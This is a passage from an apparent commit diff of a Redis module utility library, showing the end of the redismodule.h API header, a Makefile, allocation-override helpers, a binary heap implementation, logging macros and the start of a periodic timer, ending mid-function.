int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
/* Experimental APIs */
#ifdef REDISMODULE_EXPERIMENTAL_API
#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
#endif
/* This is included inline inside each Redis module. */
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
void *getapifuncptr = ((void**)ctx)[0];
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
REDISMODULE_GET_API(Alloc);
REDISMODULE_GET_API(Calloc);
REDISMODULE_GET_API(Free);
REDISMODULE_GET_API(Realloc);
REDISMODULE_GET_API(Strdup);
REDISMODULE_GET_API(CreateCommand);
REDISMODULE_GET_API(SetModuleAttribs);
REDISMODULE_GET_API(IsModuleNameBusy);
REDISMODULE_GET_API(WrongArity);
REDISMODULE_GET_API(ReplyWithLongLong);
REDISMODULE_GET_API(ReplyWithError);
REDISMODULE_GET_API(ReplyWithSimpleString);
REDISMODULE_GET_API(ReplyWithArray);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(ReplyWithStringBuffer);
REDISMODULE_GET_API(ReplyWithString);
REDISMODULE_GET_API(ReplyWithNull);
REDISMODULE_GET_API(ReplyWithCallReply);
REDISMODULE_GET_API(ReplyWithDouble);
REDISMODULE_GET_API(ReplySetArrayLength);
REDISMODULE_GET_API(GetSelectedDb);
REDISMODULE_GET_API(SelectDb);
REDISMODULE_GET_API(OpenKey);
REDISMODULE_GET_API(CloseKey);
REDISMODULE_GET_API(KeyType);
REDISMODULE_GET_API(ValueLength);
REDISMODULE_GET_API(ListPush);
REDISMODULE_GET_API(ListPop);
REDISMODULE_GET_API(StringToLongLong);
REDISMODULE_GET_API(StringToDouble);
REDISMODULE_GET_API(Call);
REDISMODULE_GET_API(CallReplyProto);
REDISMODULE_GET_API(FreeCallReply);
REDISMODULE_GET_API(CallReplyInteger);
REDISMODULE_GET_API(CallReplyType);
REDISMODULE_GET_API(CallReplyLength);
REDISMODULE_GET_API(CallReplyArrayElement);
REDISMODULE_GET_API(CallReplyStringPtr);
REDISMODULE_GET_API(CreateStringFromCallReply);
REDISMODULE_GET_API(CreateString);
REDISMODULE_GET_API(CreateStringFromLongLong);
REDISMODULE_GET_API(CreateStringFromString);
REDISMODULE_GET_API(CreateStringPrintf);
REDISMODULE_GET_API(FreeString);
REDISMODULE_GET_API(StringPtrLen);
REDISMODULE_GET_API(AutoMemory);
REDISMODULE_GET_API(Replicate);
REDISMODULE_GET_API(ReplicateVerbatim);
REDISMODULE_GET_API(DeleteKey);
REDISMODULE_GET_API(UnlinkKey);
REDISMODULE_GET_API(StringSet);
REDISMODULE_GET_API(StringDMA);
REDISMODULE_GET_API(StringTruncate);
REDISMODULE_GET_API(GetExpire);
REDISMODULE_GET_API(SetExpire);
REDISMODULE_GET_API(ZsetAdd);
REDISMODULE_GET_API(ZsetIncrby);
REDISMODULE_GET_API(ZsetScore);
REDISMODULE_GET_API(ZsetRem);
REDISMODULE_GET_API(ZsetRangeStop);
REDISMODULE_GET_API(ZsetFirstInScoreRange);
REDISMODULE_GET_API(ZsetLastInScoreRange);
REDISMODULE_GET_API(ZsetFirstInLexRange);
REDISMODULE_GET_API(ZsetLastInLexRange);
REDISMODULE_GET_API(ZsetRangeCurrentElement);
REDISMODULE_GET_API(ZsetRangeNext);
REDISMODULE_GET_API(ZsetRangePrev);
REDISMODULE_GET_API(ZsetRangeEndReached);
REDISMODULE_GET_API(HashSet);
REDISMODULE_GET_API(HashGet);
REDISMODULE_GET_API(IsKeysPositionRequest);
REDISMODULE_GET_API(KeyAtPos);
REDISMODULE_GET_API(GetClientId);
REDISMODULE_GET_API(GetContextFlags);
REDISMODULE_GET_API(PoolAlloc);
REDISMODULE_GET_API(CreateDataType);
REDISMODULE_GET_API(ModuleTypeSetValue);
REDISMODULE_GET_API(ModuleTypeGetType);
REDISMODULE_GET_API(ModuleTypeGetValue);
REDISMODULE_GET_API(SaveUnsigned);
REDISMODULE_GET_API(LoadUnsigned);
REDISMODULE_GET_API(SaveSigned);
REDISMODULE_GET_API(LoadSigned);
REDISMODULE_GET_API(SaveString);
REDISMODULE_GET_API(SaveStringBuffer);
REDISMODULE_GET_API(LoadString);
REDISMODULE_GET_API(LoadStringBuffer);
REDISMODULE_GET_API(SaveDouble);
REDISMODULE_GET_API(LoadDouble);
REDISMODULE_GET_API(SaveFloat);
REDISMODULE_GET_API(LoadFloat);
REDISMODULE_GET_API(EmitAOF);
REDISMODULE_GET_API(Log);
REDISMODULE_GET_API(LogIOError);
REDISMODULE_GET_API(StringAppendBuffer);
REDISMODULE_GET_API(RetainString);
REDISMODULE_GET_API(StringCompare);
REDISMODULE_GET_API(GetContextFromIO);
REDISMODULE_GET_API(Milliseconds);
REDISMODULE_GET_API(DigestAddStringBuffer);
REDISMODULE_GET_API(DigestAddLongLong);
REDISMODULE_GET_API(DigestEndSequence);
REDISMODULE_GET_API(CreateDict);
REDISMODULE_GET_API(FreeDict);
REDISMODULE_GET_API(DictSize);
REDISMODULE_GET_API(DictSetC);
REDISMODULE_GET_API(DictReplaceC);
REDISMODULE_GET_API(DictSet);
REDISMODULE_GET_API(DictReplace);
REDISMODULE_GET_API(DictGetC);
REDISMODULE_GET_API(DictGet);
REDISMODULE_GET_API(DictDelC);
REDISMODULE_GET_API(DictDel);
REDISMODULE_GET_API(DictIteratorStartC);
REDISMODULE_GET_API(DictIteratorStart);
REDISMODULE_GET_API(DictIteratorStop);
REDISMODULE_GET_API(DictIteratorReseekC);
REDISMODULE_GET_API(DictIteratorReseek);
REDISMODULE_GET_API(DictNextC);
REDISMODULE_GET_API(DictPrevC);
REDISMODULE_GET_API(DictNext);
REDISMODULE_GET_API(DictPrev);
REDISMODULE_GET_API(DictCompare);
REDISMODULE_GET_API(DictCompareC);
#ifdef REDISMODULE_EXPERIMENTAL_API
REDISMODULE_GET_API(GetThreadSafeContext);
REDISMODULE_GET_API(FreeThreadSafeContext);
REDISMODULE_GET_API(ThreadSafeContextLock);
REDISMODULE_GET_API(ThreadSafeContextUnlock);
REDISMODULE_GET_API(BlockClient);
REDISMODULE_GET_API(UnblockClient);
REDISMODULE_GET_API(IsBlockedReplyRequest);
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
REDISMODULE_GET_API(GetBlockedClientPrivateData);
REDISMODULE_GET_API(GetBlockedClientHandle);
REDISMODULE_GET_API(AbortBlock);
REDISMODULE_GET_API(SetDisconnectCallback);
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
REDISMODULE_GET_API(BlockedClientDisconnected);
REDISMODULE_GET_API(RegisterClusterMessageReceiver);
REDISMODULE_GET_API(SendClusterMessage);
REDISMODULE_GET_API(GetClusterNodeInfo);
REDISMODULE_GET_API(GetClusterNodesList);
REDISMODULE_GET_API(FreeClusterNodesList);
REDISMODULE_GET_API(CreateTimer);
REDISMODULE_GET_API(StopTimer);
REDISMODULE_GET_API(GetTimerInfo);
REDISMODULE_GET_API(GetMyClusterID);
REDISMODULE_GET_API(GetClusterSize);
REDISMODULE_GET_API(GetRandomBytes);
REDISMODULE_GET_API(GetRandomHexChars);
REDISMODULE_GET_API(SetClusterFlags);
#endif
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
return REDISMODULE_OK;
}
#else
/* Things only defined for the modules core, not exported to modules
* including this file. */
#define RedisModuleString robj
#endif /* REDISMODULE_CORE */
#endif /* REDISMOUDLE_H */
+31
View File
@@ -0,0 +1,31 @@
# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
CFLAGS += -I$(RM_INCLUDE_DIR)
CC=gcc
OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
all: librmutil.a
clean:
rm -rf *.o *.a
librmutil.a: $(OBJS)
ar rcs $@ $^
test_vector: test_vector.o vector.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_vector
test_periodic: test_periodic.o periodic.o
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
@(sh -c ./$@)
.PHONY: test_periodic
test: test_periodic test_vector
.PHONY: test
+32
View File
@@ -0,0 +1,32 @@
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "alloc.h"
/* A patched implementation of strdup that will use our patched calloc */
char *rmalloc_strndup(const char *s, size_t n) {
char *ret = calloc(n + 1, sizeof(char));
if (ret)
memcpy(ret, s, n);
return ret;
}
/*
* Re-patching RedisModule_Alloc and friends to the original malloc functions
*
* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main().
*
* Since including "alloc.h" while defining REDIS_MODULE_TARGET
* replaces all malloc functions in redis with the RM_Alloc family of functions,
* when running that code outside of redis, your app will crash. This function
* patches the RM_Alloc functions back to the original mallocs. */
void RMUTil_InitAlloc() {
RedisModule_Alloc = malloc;
RedisModule_Realloc = realloc;
RedisModule_Calloc = calloc;
RedisModule_Free = free;
RedisModule_Strdup = strdup;
}
+51
View File
@@ -0,0 +1,51 @@
#ifndef __RMUTIL_ALLOC__
#define __RMUTIL_ALLOC__
/* Automatic Redis Module Allocation functions monkey-patching.
*
* Including this file while REDIS_MODULE_TARGET is defined, will explicitly
* override malloc, calloc, realloc & free with RedisModule_Alloc,
* RedisModule_Callc, etc implementations, that allow Redis better control and
* reporting over allocations per module.
*
* You should include this file in all c files AS THE LAST INCLUDED FILE
*
* This only has effect when when compiling with the macro REDIS_MODULE_TARGET
* defined. The idea is that for unit tests it will not be defined, but for the
* module build target it will be.
*
*/
#include <stdlib.h>
#include <redismodule.h>
char *rmalloc_strndup(const char *s, size_t n);
#ifdef REDIS_MODULE_TARGET /* Set this when compiling your code as a module */
#define malloc(size) RedisModule_Alloc(size)
#define calloc(count, size) RedisModule_Calloc(count, size)
#define realloc(ptr, size) RedisModule_Realloc(ptr, size)
#define free(ptr) RedisModule_Free(ptr)
#ifdef strdup
#undef strdup
#endif
#define strdup(ptr) RedisModule_Strdup(ptr)
/* More overriding */
// needed to avoid calling strndup->malloc
#ifdef strndup
#undef strndup
#endif
#define strndup(s, n) rmalloc_strndup(s, n)
#else
#endif /* REDIS_MODULE_TARGET */
/* This function should be called if you are working with malloc-patched code
* outside of redis, usually for unit tests. Call it once when entering your unit
* tests' main() */
void RMUTil_InitAlloc();
#endif /* __RMUTIL_ALLOC__ */
+107
View File
@@ -0,0 +1,107 @@
#include "heap.h"
/* Byte-wise swap two items of size SIZE. */
#define SWAP(a, b, size) \
do \
{ \
register size_t __size = (size); \
register char *__a = (a), *__b = (b); \
do \
{ \
char __tmp = *__a; \
*__a++ = *__b; \
*__b++ = __tmp; \
} while (--__size > 0); \
} while (0)
inline char *__vector_GetPtr(Vector *v, size_t pos) {
return v->data + (pos * v->elemSize);
}
void __sift_up(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
size_t len = last - first;
if (len > 1) {
len = (len - 2) / 2;
size_t ptr = first + len;
if (cmp(__vector_GetPtr(v, ptr), __vector_GetPtr(v, --last)) < 0) {
char t[v->elemSize];
memcpy(t, __vector_GetPtr(v, last), v->elemSize);
do {
memcpy(__vector_GetPtr(v, last), __vector_GetPtr(v, ptr), v->elemSize);
last = ptr;
if (len == 0)
break;
len = (len - 1) / 2;
ptr = first + len;
} while (cmp(__vector_GetPtr(v, ptr), t) < 0);
memcpy(__vector_GetPtr(v, last), t, v->elemSize);
}
}
}
void __sift_down(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *), size_t start) {
// left-child of __start is at 2 * __start + 1
// right-child of __start is at 2 * __start + 2
size_t len = last - first;
size_t child = start - first;
if (len < 2 || (len - 2) / 2 < child)
return;
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
if (cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, start)) < 0)
// we are, __start is larger than it's largest child
return;
char top[v->elemSize];
memcpy(top, __vector_GetPtr(v, start), v->elemSize);
do {
// we are not in heap-order, swap the parent with it's largest child
memcpy(__vector_GetPtr(v, start), __vector_GetPtr(v, first + child), v->elemSize);
start = first + child;
if ((len - 2) / 2 < child)
break;
// recompute the child based off of the updated parent
child = 2 * child + 1;
if ((child + 1) < len && cmp(__vector_GetPtr(v, first + child), __vector_GetPtr(v, first + child + 1)) < 0) {
// right-child exists and is greater than left-child
++child;
}
// check if we are in heap-order
} while (cmp(__vector_GetPtr(v, first + child), top) >= 0);
memcpy(__vector_GetPtr(v, start), top, v->elemSize);
}
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
// start from the first parent, there is no need to consider children
for (int start = (last - first - 2) / 2; start >= 0; --start) {
__sift_down(v, first, last, cmp, first + start);
}
}
}
inline void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
__sift_up(v, first, last, cmp);
}
inline void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *)) {
if (last - first > 1) {
SWAP(__vector_GetPtr(v, first), __vector_GetPtr(v, --last), v->elemSize);
__sift_down(v, first, last, cmp, first);
}
}
+38
View File
@@ -0,0 +1,38 @@
#ifndef __HEAP_H__
#define __HEAP_H__
#include "vector.h"
/* Make heap from range
* Rearranges the elements in the range [first,last) in such a way that they form a heap.
* A heap is a way to organize the elements of a range that allows for fast retrieval of the element with the highest
* value at any moment (with pop_heap), even repeatedly, while allowing for fast insertion of new elements (with
* push_heap).
* The element with the highest value is always pointed by first. The order of the other elements depends on the
* particular implementation, but it is consistent throughout all heap-related functions of this header.
* The elements are compared using cmp.
*/
void Make_Heap(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Push element into heap range
* Given a heap in the range [first,last-1), this function extends the range considered a heap to [first,last) by
* placing the value in (last-1) into its corresponding location within it.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Push(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
/* Pop element from heap range
* Rearranges the elements in the heap range [first,last) in such a way that the part considered a heap is shortened
* by one: The element with the highest value is moved to (last-1).
* While the element with the highest value is moved from first to (last-1) (which now is out of the heap), the other
* elements are reorganized in such a way that the range [first,last-1) preserves the properties of a heap.
* A range can be organized into a heap by calling make_heap. After that, its heap properties are preserved if elements
* are added and removed from it using push_heap and pop_heap, respectively.
*/
void Heap_Pop(Vector *v, size_t first, size_t last, int (*cmp)(void *, void *));
#endif //__HEAP_H__
+11
View File
@@ -0,0 +1,11 @@
#ifndef __RMUTIL_LOGGING_H__
#define __RMUTIL_LOGGING_H__
/* Convenience macros for redis logging */
#define RM_LOG_DEBUG(ctx, ...) RedisModule_Log(ctx, "debug", __VA_ARGS__)
#define RM_LOG_VERBOSE(ctx, ...) RedisModule_Log(ctx, "verbose", __VA_ARGS__)
#define RM_LOG_NOTICE(ctx, ...) RedisModule_Log(ctx, "notice", __VA_ARGS__)
#define RM_LOG_WARNING(ctx, ...) RedisModule_Log(ctx, "warning", __VA_ARGS__)
#endif
+88
View File
@@ -0,0 +1,88 @@
#define REDISMODULE_EXPERIMENTAL_API
#include "periodic.h"
#include <pthread.h>
#include <stdlib.h>
#include <errno.h>
typedef struct RMUtilTimer {
RMutilTimerFunc cb;
RMUtilTimerTerminationFunc onTerm;
void *privdata;
struct timespec interval;
pthread_t thread;
pthread_mutex_t lock;
pthread_cond_t cond;
} RMUtilTimer;
static struct timespec timespecAdd(struct timespec *a, struct timespec *b) {
struct timespec ret;
ret.tv_sec = a->tv_sec + b->tv_sec;
long long ns = a->tv_nsec + b->tv_nsec;
ret.tv_sec += ns / 1000000000;
ret.tv_nsec = ns % 1000000000;
return ret;
}
static void *rmutilTimer_Loop(void *ctx) {
RMUtilTimer *tm = ctx;
int rc = ETIMEDOUT;
struct timespec ts;
pthread_mutex_lock(&tm->lock);
while (rc != 0) {
clock_gettime(CLOCK_REALTIME, &ts);
struct timespec timeout = timespecAdd(&ts, &tm->interval);
if ((rc = pthread_cond_timedwait(&tm->cond, &tm->lock, &timeout)) == ETIMEDOUT) {
// Create a thread safe context if we're running inside redis
RedisModuleCtx *rctx = NULL;
if (RedisModule_GetThreadSafeContext) rctx = RedisModule_GetThreadSafeContext(NULL);
// call our callback...
tm->cb(rctx, tm->privdata);
// If needed - free the thread safe context.
// It's up to the user to decide whether automemory is active there
if (rctx) RedisModule_FreeThreadSafeContext(rctx);
}
if (rc == EINVAL) {
perror("Error waiting for condition");
break;
}
}
// call the termination callback if needed
if (tm->onTerm != NULL) {
tm->onTerm(tm->privdata);
}
// free resources associated with the timer
pthread_cond_destroy(&tm->cond);
free(tm);
return NULL;
}
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval) {
t->interval = newInterval;
}
RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval) {
RMUtilTimer *ret = malloc(sizeof(*ret));
*ret = (RMUtilTimer){
